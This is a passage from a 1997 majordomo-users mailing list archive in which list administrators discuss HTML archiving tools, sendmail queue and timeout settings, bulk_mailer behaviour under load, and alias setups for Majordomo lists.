A7JnhNrltYziWV7vd9rSvY7O5QkKLDUu/c/g+O0sgComP2l5u/OKjPpOWtc/oyz7 8PCWJ3pxW3Y= =3MtZ -----END PGP SIGNATURE----- -- Rich Pieri | Happy Fun Ball contains a liquid Prescient Technologies, Inc. | core, which, if exposed due to A Stone & Webster Company | rupture, should not be touched, I speak for myself, not PTI or SWEC | inhaled, or looked at. From owner-majordomo-users-outgoing Mon Jun 9 10:25:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA05381 for majordomo-users-outgoing; Mon, 9 Jun 1997 10:16:21 -0700 (PDT) Received: from allenpress.com (gopher.allenpress.com [204.52.204.65]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id KAA05371 for ; Mon, 9 Jun 1997 10:16:14 -0700 (PDT) Received: from renee.allenpress.com by allenpress.com with SMTP (5.65/1.2-eef) id AA11634; Mon, 9 Jun 97 12:16:58 -0500 Message-Id: <3.0.2.32.19970609121721.0078305c@ap-cov.allenpress.com> X-Sender: rrosen@ap-cov.allenpress.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Mon, 09 Jun 1997 12:17:21 -0500 To: majordomo-users@greatcircle.com From: Renee Rosen Subject: Re: archive2 -> HTML In-Reply-To: <199706091614.NAA14260@ecology.bio.dfo.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 01:14 PM 6/9/97 -0300, you wrote: >Stephanie Trinh askes: > >>Another question is, is there an existing utility that >>will convert the archived messages (archive2) to html >>format ? > >MHonArc does this, and very nicely. A new version has just come out, so >I'll reply to the list in case some of you missed the announcement: > This brings up a question I had. Which is better, MHonArch or Hypermail? (Or at least, what are the advantages and disadvantages of either or both of them?) Has anyone had experience with both of them? I plan to be setting up one of them for web archives of lists, but I'm not sure which to try or if I should just try both and see which I prefer and which meets my needs better. (FYI, I'm running Majordomo 1.94.3 on Red Hat Linux 4.1.) If this is considered "off-topic," feel free to reply off-list. Thanks in advance for any pointers or advice you can give me. ************************************************************ Renee Rosen email: rrosen@allenpress.com, Electronic Publishing rrosen@lists.allenpress.com Allen Press, Inc. voice: 913-843-1234 1041 New Hampshire St. url: http://www.allenpress.com Lawrence, KS 66044 ************************************************************ From owner-majordomo-users-outgoing Mon Jun 9 10:55:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA10043 for majordomo-users-outgoing; Mon, 9 Jun 1997 10:43:43 -0700 (PDT) Received: from osage.gate.net (osage.gate.net [199.227.0.142]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA09966 for ; Mon, 9 Jun 1997 10:43:22 -0700 (PDT) Received: from saluki.gdi.net (orlfl2-12.gate.net [199.227.37.12]) by osage.gate.net (8.8.5/8.6.12) with SMTP id NAA61366 for ; Mon, 9 Jun 1997 13:44:04 -0400 Message-Id: <3.0.32.19970609141006.00940400@mail.saluki.org> X-Sender: saluki@mail.saluki.org X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 09 Jun 1997 14:10:18 -0400 To: majordomo-users@greatcircle.com From: Scott Armstrong Subject: sendmail and bulkmailer Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Our linux 4.0 server is running majordomo v1.94.1 and sendmail 8.7.6 We have 5 small lists and one large list of about 2000 subscribers and are using the bulkmailer. The server is on a T-1 and is the machine is 586-133 with 96mb of ram. Problem is that sometimes it sends out mail like crazy and at other times it just it looks like sendmail stops running. when it is pushing out mail processor idle time drops down to 20% or less and you sometimes even can't telnet in. I probably got something wrong in the options for sendmail (below). Included also is part of the aliases file. Any help greatly appreciated. Scott saluki.com ############### # Options # ############### # strip message body to 7 bits on input? O SevenBitInput=False # 8-bit data handling O EightBitMode=pass8 # wait for alias file rebuild (default units: minutes) O AliasWait=10 # location of alias file O AliasFile=/etc/aliases # minimum number of free blocks on filesystem O MinFreeBlocks=100 # maximum message size #O MaxMessageSize=1000000 # substitution for space (blank) characters O BlankSub=. # avoid connecting to "expensive" mailers on initial submission? O HoldExpensive=False # checkpoint queue runs after every N successful deliveries #O CheckpointInterval=10 # default delivery mode O DeliveryMode=background # automatically rebuild the alias database? #O AutoRebuildAliases # error message header/file #O ErrorHeader=/etc/sendmail.oE # error mode #O ErrorMode=print # save Unix-style "From_" lines at top of header? #O SaveFromLine # temporary file mode O TempFileMode=0600 # match recipients against GECOS field? #O MatchGECOS # maximum hop count #O MaxHopCount=23 # location of help file O HelpFile=/usr/lib/sendmail.hf # ignore dots as terminators in incoming messages? #O IgnoreDots # name resolver options #O ResolverOptions=+AAONLY # deliver MIME-encapsulated error messages? O SendMimeErrors=True # Forward file search path O ForwardPath=$z/.forward.$w:$z/.forward # open connection cache size O ConnectionCacheSize=2 # open connection cache timeout O ConnectionCacheTimeout=2m # use Errors-To: header? O UseErrorsTo=False # log level O LogLevel=9 # send to me too, even in an alias expansion? #O MeToo # verify RHS in newaliases? O CheckAliases=False # default messages to old style headers if no special punctuation? O OldStyleHeaders=True # SMTP daemon options #O DaemonPortOptions=Port=esmtp # privacy flags O PrivacyOptions=authwarnings # who (if anyone) should get extra copies of error messages #O PostMasterCopy=Postmaster # slope of queue-only function #O QueueFactor=600000 # queue directory O QueueDirectory=/archive/test/mqueue # timeouts (many of these) O Timeout.initial=5m O Timeout.helo=5m O Timeout.mail=10m O Timeout.rcpt=5m #O Timeout.hoststatus=0 O Timeout.datainit=5m O Timeout.datablock=5m O Timeout.datafinal=5m O Timeout.rset=5m O Timeout.quit=2m O Timeout.misc=2m O Timeout.command=5m O Timeout.ident=30s O Timeout.fileopen=60s O Timeout.queuereturn=2d O Timeout.queuereturn.normal=2d O Timeout.queuereturn.urgent=2d O Timeout.queuereturn.non-urgent=4d O Timeout.queuewarn=4h #O Timeout.queuewarn.normal=4h #O Timeout.queuewarn.urgent=1h #O Timeout.queuewarn.non-urgent=12h # should we not prune routes in route-addr syntax addresses? #O DontPruneRoutes # queue up everything before forking? O SuperSafe=True # status file O StatusFile=/var/log/sendmail.st # time zone handling: # if undefined, use system default # if defined but null, use TZ envariable passed in # if defined and non-null, use that info #O TimeZoneSpec= # default UID (can be username or userid:groupid) O DefaultUser=8:12 # list of locations of user database file (null means no lookup) #O UserDatabaseSpec=/etc/userdb # fallback MX host #O FallbackMXhost=fall.back.host.net # if we are the best MX host for a site, try it directly instead of config err #O TryNullMXList # load average at which we just queue messages #O QueueLA=20 # load average at which we refuse connections O RefuseLA=20 # work recipient factor #O RecipientFactor=30000 # deliver each queued job in a separate process? #O ForkEachJob # work class factor #O ClassFactor=1800 # work time factor #O RetryFactor=90000 # shall we sort the queue by hostname first? O QueueSortOrder=host # minimum time in queue before retry #O MinQueueAge=30m # default character set #O DefaultCharSet=iso-8859-1 # service switch file (ignored on Solaris, Ultrix, OSF/1, others) #O ServiceSwitchFile=/etc/service.switch # hosts file (normally /etc/hosts) #O HostsFile=/etc/hosts # dialup line delay on connection failure #O DialDelay=10s # action to take if there are no recipients in the message #O NoRecipientAction=add-to-undisclosed # chrooted environment for writing to files #O SafeFileEnvironment=/arch # are colons OK in addresses? #O ColonOkInAddr # how many jobs can you process in the queue? O MaxQueueRunSize=15000 # shall I avoid expanding CNAMEs (violates protocols)? #O DontExpandCnames # SMTP initial login message (old $e macro) O SmtpGreetingMessage=$j Sendmail $v/$Z; $b # UNIX initial From header format (old $l macro) O UnixFromLine=From $g $d # delimiter (operator) characters (old $o macro) O OperatorChars=.:%@!^/[]+ # shall I avoid calling initgroups(3) because of high NIS costs? #O DontInitGroups Part of aliases file: # # mcse mailing list # owner-mcse: mcse-owner mcse: "|/usr/test/majordomo/bin/wrapper resend -p bulk -M 10000 -R -l mcse -h m\ ail.saluki.com -s mcse-outgoing" mcse-owner: scott mcse-approval: mcse-owner mcse-digest-approval: mcse-owner mcse-outgoing: "| /usr/sbin/bulk_mailer mcse-owner@saluki.com /usr/test/majordomo/lists/mcse\ ", "| /usr/test/majordomo/wrapper digest -r -C -l mcse-digest mcse-digest-outgoi\ ng" owner-mcse-outgoing: mcse-owner owner-mcse-digest: mcse-owner mcse-digest: mcse mcse-digest-outgoing: :include:/usr/test/majordomo/lists/mcse-digest mcse-archive: /usr/test/majordomo/lists/mcse.archive/archive owner-mcse-archive: mcse-owner mcse-request: "|/usr/test/majordomo/bin/wrapper request-answer mcse" owner-mcse-request: mcse-owner From owner-majordomo-users-outgoing Mon Jun 9 11:41:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA16026 for majordomo-users-outgoing; Mon, 9 Jun 1997 11:15:53 -0700 (PDT) Received: from stingray.ivision.co.uk (stingray.ivision.co.uk [194.154.62.72]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id LAA15983 for ; Mon, 9 Jun 1997 11:15:37 -0700 (PDT) Received: from stingray.ivision.co.uk [194.154.62.72] by stingray.ivision.co.uk with smtp (Exim 1.62 #1) id 0wb8yX-000436-00; Mon, 9 Jun 1997 19:15:29 +0100 Date: Mon, 9 Jun 1997 19:15:29 +0100 (BST) From: Manar Hussain To: Scott Armstrong cc: majordomo-users@greatcircle.com Subject: Re: sendmail and bulkmailer In-Reply-To: <3.0.32.19970609141006.00940400@mail.saluki.org> Message-ID: Organisation: Internet Vision MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >Our linux 4.0 server is running majordomo v1.94.1 and sendmail 8.7.6 >We have 5 small lists and one large list of about 2000 subscribers and are >using the bulkmailer. The server is on a T-1 and is the machine is 586-133 >with 96mb of ram. >Problem is that sometimes it sends out mail like crazy and at other times >it just it looks like sendmail stops running. when it is pushing out mail >processor idle time drops down to 20% or less and you sometimes even can't >telnet in. I probably got something wrong in the options for sendmail >(below). Included also is part of the aliases file. Any help greatly >appreciated. For that sort of mail use you REALLY ought to be using Exim or Qmail ... From owner-majordomo-users-outgoing Mon Jun 9 12:11:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA14998 for majordomo-users-outgoing; Mon, 9 Jun 1997 11:10:12 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA14907 for ; Mon, 9 Jun 1997 11:09:53 -0700 (PDT) Received: from Jupiter.Mcs.Net (les@Jupiter.mcs.net [192.160.127.88]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id NAA20246; Mon, 9 Jun 1997 13:10:38 -0500 (CDT) Received: (from les@localhost) by Jupiter.Mcs.Net (8.8.5/8.8.2) id NAA18435; Mon, 9 Jun 1997 13:10:31 -0500 (CDT) From: Leslie Mikesell Message-Id: <199706091810.NAA18435@Jupiter.Mcs.Net> Subject: Re: reply-to's To: manar@ivision.co.uk Date: Mon, 9 Jun 1997 13:10:29 -0500 (CDT) Cc: rich.pieri@prescienttech.com, majordomo-users@GreatCircle.COM In-Reply-To: from "Manar Hussain" at Jun 9, 97 04:54:25 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > > I didn't say anything about manipulating the headers - just using them to > decide not to include the author or one of the other named recipients of > the mail in the list of people the *mailing list software* decides to pass > the mail onto. Actually if you hand the entire address list to sendmail at once it would eliminate the duplicates by itself. The problem happens because most people submit to sendmail on a different machine than the one that expands the list or you use resend to expand the list as a separate step. Since you are talking about a web based front end you could just post a response to a program that submits to an alias that :include:s the list at the same time the CC: headers are processed and sendmail will do it right in the first place. Les Mikesell les@mcs.com From owner-majordomo-users-outgoing Mon Jun 9 13:25:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA29819 for majordomo-users-outgoing; Mon, 9 Jun 1997 12:46:09 -0700 (PDT) Received: from krumm.commline.com (krumm.commline.com [207.78.30.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA29785 for ; Mon, 9 Jun 1997 12:45:57 -0700 (PDT) Received: from localhost (dmbong@localhost) by krumm.commline.com (8.8.5/8.8.3) with SMTP id PAA10890 for ; Mon, 9 Jun 1997 15:49:13 -0400 (EDT) Date: Mon, 9 Jun 1997 15:49:12 -0400 (EDT) From: "Brian L. Heess" To: Majordomo-Users@GreatCircle.COM Subject: Jason's MJ Archive website address In-Reply-To: <199706091614.NAA14260@ecology.bio.dfo.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I can't find it anywhere. Could somebody tell me what it is? Thanks! -Brian From owner-majordomo-users-outgoing Mon Jun 9 13:55:40 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA29898 for majordomo-users-outgoing; Mon, 9 Jun 1997 12:46:41 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA29865 for ; Mon, 9 Jun 1997 12:46:28 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id OAA05290; Mon, 9 Jun 1997 14:46:45 -0500 (CDT) To: Renee Rosen Cc: majordomo-users@GreatCircle.COM Subject: Re: archive2 -> HTML References: <3.0.2.32.19970609121721.0078305c@ap-cov.allenpress.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 09 Jun 1997 14:46:45 -0500 In-Reply-To: Renee Rosen's message of Mon, 09 Jun 1997 12:17:21 -0500 Message-ID: Lines: 16 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "RR" == Renee Rosen writes: RR> This brings up a question I had. Which is better, MHonArch or RR> Hypermail? I evaluated both before I ended up choosing MHonArc. The big plus was that at the time MHonArc was undergoing active development (and still is). HyperMail was somewhat stagnant. That may have changed. The other big plus for me was that MHonArc is infinitely customizable. It's written in perl and is easy to hack. I hacked in a bunch of things like removal of the subject_prefix and message_footers before I figured out a better way to do it. The neat MIME handling was pretty much incidental. - J< From owner-majordomo-users-outgoing Mon Jun 9 14:04:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA00746 for majordomo-users-outgoing; Mon, 9 Jun 1997 12:51:23 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA00707 for ; Mon, 9 Jun 1997 12:51:12 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id OAA05413; Mon, 9 Jun 1997 14:52:07 -0500 (CDT) To: Scott Armstrong Cc: majordomo-users@GreatCircle.COM Subject: Re: sendmail and bulkmailer References: <3.0.32.19970609141006.00940400@mail.saluki.org> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 09 Jun 1997 14:52:06 -0500 In-Reply-To: Scott Armstrong's message of Mon, 09 Jun 1997 14:10:18 -0400 Message-ID: Lines: 21 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "SA" == Scott Armstrong writes: SA> # load average at which we just queue messages SA> #O QueueLA=20 SA> # load average at which we refuse connections SA> O RefuseLA=20 SA> mcse-outgoing: "| /usr/sbin/bulk_mailer mcse-owner@saluki.com SA> /usr/test/majordomo/lists/mcse\ ", [...] Those are the important lines. How big is your list? Did you compile in a different default for the number of addresses per batch? You may be pushing so many batches through that sendmail queues the messages (the default QueueLA is 8, I think) instead of delivering them. If it queues, they don't get delivered until the next queue run. If you run it up to RefuseLA, bulk_mailer either bombs or drops the rest of the addresses on the floor because it doesn't have any place to send the messages. - J< From owner-majordomo-users-outgoing Mon Jun 9 14:33:40 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA12543 for majordomo-users-outgoing; Mon, 9 Jun 1997 14:06:21 -0700 (PDT) Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA12519 for ; Mon, 9 Jun 1997 14:06:12 -0700 (PDT) Received: from ncr-sd.SanDiegoCA.NCR.COM by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id OAA02714; Mon, 9 Jun 1997 14:03:29 -0700 (PDT) Received: from bill-houle (bill-houle.SanDiegoCA.NCR.COM [153.64.69.200]) by ncr-sd.SanDiegoCA.NCR.COM (8.8.5/8.7.3) with SMTP id OAA11421; Mon, 9 Jun 1997 14:01:23 -0700 (PDT) Message-Id: <3.0.32.19970609135751.00999100@www.sandiegoca.ncr.com> X-Sender: bhoule@www.sandiegoca.ncr.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 09 Jun 1997 14:12:04 -0700 To: sdenny@hex.net (Stephen Denny), majordomo-users@GreatCircle.COM From: Bill Houle Subject: Re: digest Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 11:11 AM 6/8/97 -0500, Stephen Denny wrote: > >A great enhancement to majordomo (for someone with too much time >on their hands) would be a nice script that would guide you through >a list setup, providing help along the way, create the config file, >digests, directories, aliases and end up with a completed list. Also >auto mailing the directions to the list owner. Reference: MajorCool [http://ncrinfo.ncr.com/pub/contrib/unix/MajorCool/] We have automated that process and moved much of the admin responsibility down to the users. See mj_create_list for list creation; it does everything you asked for except for "help". It can optionally be called from the MajorCool Web interface if you want it completely automated and under user control. mj_build_aliases will create any needed archive directories (if defined in the config file) and have the list aliased automatically. (digests not yet done.) Both programs (found in the MajorCool contrib/ directory) are fairly well undocumented, but they might be a good start for whatever you had in mind. --bill From owner-majordomo-users-outgoing Mon Jun 9 14:55:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA14423 for majordomo-users-outgoing; Mon, 9 Jun 1997 14:20:33 -0700 (PDT) Received: from deliverator.io.com (deliverator.io.com [199.170.88.17]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA14383 for ; Mon, 9 Jun 1997 14:20:23 -0700 (PDT) Received: from lemmings.io.com (lemmings.io.com [199.170.88.49]) by deliverator.io.com (8.8.5/8.8.5) with ESMTP id PAA24022 for ; Mon, 9 Jun 1997 15:46:56 -0500 (CDT) Received: from bermuda.io.com (juggler@bermuda.io.com [199.170.88.7]) by lemmings.io.com (8.8.5/8.6.12) with SMTP id PAA27697 for ; Mon, 9 Jun 1997 15:45:55 -0500 (CDT) Date: Mon, 9 Jun 1997 15:46:52 -0500 (CDT) From: Noah Lee - Tech Support To: majordomo-users@greatcircle.com Subject: using archive2.pl Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk What is the setup and alias required to get archive2.pl to work properly? I currently have the following and haven't seen any messages showing up in the directory: test-l: "|/usr/local/majordomo/wrapper resend -l test-l test-l-outgoing" test-l-request: "|/usr/local/majordomo/wrapper majordomo -l test-l" test-l-outgoing: :include: /usr/local/majordomo/lists/test-l test-l-owner: noahphex owner-test-l: noahphex test-l-approval: noahphex test-l-archive: "|/usr/local/majordomo/wrapper archive -f /home/ftp/pub/mailing-lists/test-l.archive/test-l -m -a" Yes, the above /home/ftp/pub/mailing-lists/test-l.archive exists... Any ideas? Noah Lee - User Administrator - Illuminati Online juggler@io.com http://www.io.com/~juggler Majordomo-Owner@lists.io.com DJ & Texas Raves Owner From owner-majordomo-users-outgoing Mon Jun 9 15:17:51 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA18576 for majordomo-users-outgoing; Mon, 9 Jun 1997 14:51:04 -0700 (PDT) Received: from spock.leben.com ([198.64.225.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA18523 for ; Mon, 9 Jun 1997 14:50:47 -0700 (PDT) Received: from localhost (mitch@localhost) by spock.leben.com (8.8.5/8.8.5) with SMTP id QAA18348 for ; Mon, 9 Jun 1997 16:54:06 -0500 Date: Mon, 9 Jun 1997 16:54:04 -0500 (CDT) From: Mitchell Leben To: majordomo-users@greatcircle.com Subject: Server load and list volume Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have been using Majordomo for about a year for small lists (less than 25 subscribers) with ~5 posts a day. Now I have a list with ~175 users, ~10 posts a day. New members are joining daily, and I expect the number of posts to increase. [This larger list is pushing me into new areas of Majordomo list admin which I could ignore before. One area in particular is the "administrivia" yes/no option. It seems if anyone uses the words "approve" or "subscribe/unsubscribe" in a post it bounces. I just turned administrivia off for now.] My question concerns the the mail que and performance. I am noticing that sendmail seems to get "stuck" on the same email addresses every time. A hundred addresses will be backed up while one just sits there (according to the mailq command) for up to a couple of hours. Yes, I realize this is a sendmail questions but surely other Majordomo users have similar concerns? The system is RedHat 4.1, majordomo-1.94.1, perl5.003, sendmail-8.8.4. I won't post the sendmail.cf file here, but some areas I am looking into: # checkpoint queue runs after every N successful deliveries #O CheckpointInterval=10 # open connection cache size O ConnectionCacheSize=2 # open connection cache timeout O ConnectionCacheTimeout=5m # timeouts (many of these) I am thinking the timouts list is a good place to start. Anyone? Thanks to all for any help. I'd like the list members to get the posts in a timely fashion. -Mitch ---------------------------- Mitchell Leben mitch@leben.com http://www.leben.com/~mitch ---------------------------- From owner-majordomo-users-outgoing Mon Jun 9 19:17:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA01098 for majordomo-users-outgoing; Mon, 9 Jun 1997 16:04:08 -0700 (PDT) Received: from spock.leben.com ([198.64.225.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA00878 for ; Mon, 9 Jun 1997 16:03:18 -0700 (PDT) Received: from localhost (mitch@localhost) by spock.leben.com (8.8.5/8.8.5) with SMTP id SAA18856; Mon, 9 Jun 1997 18:06:36 -0500 Date: Mon, 9 Jun 1997 18:06:34 -0500 (CDT) From: Mitchell Leben To: Jeff Wasilko cc: majordomo-users@greatcircle.com Subject: Re: Server load and list volume In-Reply-To: <19970609183215.XW45798@smoe.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Thanks the the idea. Since my list members are all over the place (ie. perhaps almost as many domains as members), would this still help? Before adding more "stuff" I was hoping to tweak sendmail a bit. -Mitch On Mon, 9 Jun 1997, Jeff Wasilko wrote: > Consider installing bulk_mailer. It sorts mail by domain, and > then sends it off to sendmail. ---------------------------- Mitchell Leben mitch@leben.com http://www.leben.com/~mitch ---------------------------- From owner-majordomo-users-outgoing Mon Jun 9 19:22:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA02002 for majordomo-users-outgoing; Mon, 9 Jun 1997 16:09:40 -0700 (PDT) Received: from ns.intelenet.net (intelenet.net [204.182.160.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA01973 for ; Mon, 9 Jun 1997 16:09:18 -0700 (PDT) Received: from cueball (cueball.intelenet.net [207.38.65.9]) by ns.intelenet.net (8.8.5/8.8.5) with SMTP id QAA26599; Mon, 9 Jun 1997 16:09:51 -0700 (PDT) Message-ID: <339C8D3C.50BF@intelenet.net> Date: Mon, 09 Jun 1997 16:09:48 -0700 From: Bob Myers Organization: InteleNet Communications, Inc. X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4c) MIME-Version: 1.0 To: Dane Williams CC: majordomo-users@GreatCircle.COM Subject: Re: Digest Environment Tweeks References: <339C20A6.3866@erdas.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Dane Williams wrote: > 1) I have observed a digest format on a couple of digest-lists > to which I am subscribed which I would like to repeat. > The delivered digest includes a ~table of contents~ > which is tacked onto the front of each mailed digest. This > ~table of contents~ is a listing of all the subject lines > included in that days transactions. > This appears to be the default under "Listserv" but I have > also seen it with Majordomo (contacted the listowner and got > no reply). Is this a customized script or a Majordomo option > which I am overlooking? See the _SUBJECTS_ in the message_fronter parameter on the digest list. -- Bob Myers InteleNet Communications, Inc. Email: bob@InteleNet.net 18101 Von Karman Avenue, Suite 550 Phone: 714-851-8250 x227 Irvine, CA 92612 Fax: 714-851-1088 http://www.intelenet.net/ From owner-majordomo-users-outgoing Mon Jun 9 19:28:50 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA27469 for majordomo-users-outgoing; Mon, 9 Jun 1997 18:07:09 -0700 (PDT) Received: from spock.leben.com ([198.64.225.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA27442 for ; Mon, 9 Jun 1997 18:07:02 -0700 (PDT) Received: from localhost (mitch@localhost) by spock.leben.com (8.8.5/8.8.5) with SMTP id UAA19783; Mon, 9 Jun 1997 20:10:22 -0500 Date: Mon, 9 Jun 1997 20:10:21 -0500 (CDT) From: Mitchell Leben To: The Hermit Hacker cc: majordomo-users@GreatCircle.COM Subject: Re: Server load and list volume In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Excellent tip. I just uncommented the MinQueAge and set to 1h, will see what happens on the next message. Can you explain exactly what this means? I'm hoping it will make a delivery attempt, then put it at the bottom of the list and not try again for at least an hour? What about how long the initial delivery attempt will last? Perhaps some of these settings might come in handy? I am particularly interested in #O Timeout.rcpt=1h. [I used to have the Oreily Bat book, time to get a new copy! I see that version 2 of the book is out. Anyone know of a good web site for sendmail documentation?] # timeouts (many of these) #O Timeout.initial=5m #O Timeout.connect=5m #O Timeout.iconnect=5m #O Timeout.helo=5m #O Timeout.mail=10m #O Timeout.rcpt=1h #O Timeout.datainit=5m #O Timeout.datablock=1h #O Timeout.datafinal=1h #O Timeout.rset=5m #O Timeout.quit=2m #O Timeout.misc=2m #O Timeout.command=1h #O Timeout.ident=30s #O Timeout.fileopen=60s O Timeout.queuereturn=5d #O Timeout.queuereturn.normal=5d #O Timeout.queuereturn.urgent=2d #O Timeout.queuereturn.non-urgent=7d O Timeout.queuewarn=4h #O Timeout.queuewarn.normal=4h #O Timeout.queuewarn.urgent=1h #O Timeout.queuewarn.non-urgent=12h #O Timeout.hoststatus=30m On Mon, 9 Jun 1997, The Hermit Hacker wrote: > There is one option in the sendmail.cf file that I found to be most > valuable: > > # minimum time in queue before retry > O MinQueueAge=1h > > And I do a queue checkrun every 30min (-bd -q30m), so it will process > as much as it can, and then it marks what it can't process in such a way > that the next queue run will ignore it. ---------------------------- Mitchell Leben mitch@leben.com http://www.leben.com/~mitch ---------------------------- From owner-majordomo-users-outgoing Mon Jun 9 19:30:42 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA28065 for majordomo-users-outgoing; Mon, 9 Jun 1997 18:12:02 -0700 (PDT) Received: from thelab.hub.org (hal-ns3-39.netcom.ca [207.181.94.167]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA20217 for ; Mon, 9 Jun 1997 17:33:10 -0700 (PDT) Received: from thelab.hub.org (localhost [127.0.0.1]) by thelab.hub.org (8.8.5/8.8.2) with SMTP id VAA02915; Mon, 9 Jun 1997 21:33:33 -0300 (ADT) Date: Mon, 9 Jun 1997 21:33:33 -0300 (ADT) From: The Hermit Hacker To: Mitchell Leben cc: majordomo-users@GreatCircle.COM Subject: Re: Server load and list volume In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Mon, 9 Jun 1997, Mitchell Leben wrote: > I have been using Majordomo for about a year for small lists (less than 25 > subscribers) with ~5 posts a day. > > Now I have a list with ~175 users, ~10 posts a day. New members are > joining daily, and I expect the number of posts to increase. > > [This larger list is pushing me into new areas of Majordomo list admin > which I could ignore before. One area in particular is the "administrivia" > yes/no option. It seems if anyone uses the words "approve" or > "subscribe/unsubscribe" in a post it bounces. I just turned administrivia > off for now.] > > My question concerns the the mail que and performance. I am noticing that > sendmail seems to get "stuck" on the same email addresses every time. A > hundred addresses will be backed up while one just sits there (according > to the mailq command) for up to a couple of hours. > > Yes, I realize this is a sendmail questions but surely other Majordomo > users have similar concerns? > > The system is RedHat 4.1, majordomo-1.94.1, perl5.003, sendmail-8.8.4. > > I won't post the sendmail.cf file here, but some areas I am looking into: > > # checkpoint queue runs after every N successful deliveries > #O CheckpointInterval=10 > > # open connection cache size > O ConnectionCacheSize=2 > > # open connection cache timeout > O ConnectionCacheTimeout=5m > > # timeouts (many of these) I'm running a few lists, with several hundred subscribers each, posting several dozen messages daily to each (8 PostgreSQL related mailing lists) as well as one major ~10k subscriber list with a weekly posting... There is one option in the sendmail.cf file that I found to be most valuable: # minimum time in queue before retry O MinQueueAge=1h And I do a queue checkrun every 